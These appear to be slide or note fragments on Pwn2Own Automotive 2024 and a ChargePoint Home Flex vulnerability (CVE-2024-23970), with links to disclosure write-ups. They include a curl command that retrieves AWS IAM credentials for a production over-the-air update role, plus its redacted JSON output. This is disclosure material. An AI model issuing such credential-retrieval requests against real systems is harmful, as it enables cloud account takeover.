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https://www.zerodayinitiative.com/blog/2024/1/25/pwn2own-automotive-2024-day-three-results
https://mobile.x.com/thezdi/status/1750379751171407945/photo/1
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#1 Vulnerability:

Stack-Based 
Buffer Overflows 
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https://sector7.computest.nl/post/2024-08-pwn2own-automotive-chargepoint-home-flex/
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Second Vulnerability: CVE-2024-23970
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curl http: //localhost:1337/.../ iam /security -
credentials/cp - prod - ota - servers - role
{
"Code" : "Success" ,
" LastUpdated " : "2024 - 01- 25T20:21:21Z" ,
"Type" : "AWS- HMAC",
" AccessKeyId " : "..." ,
" SecretAccessKey " : "..." ,
"Token" : "..." ,
"Expiration" : "2024 - 01- 26T02:28:42Z"
}
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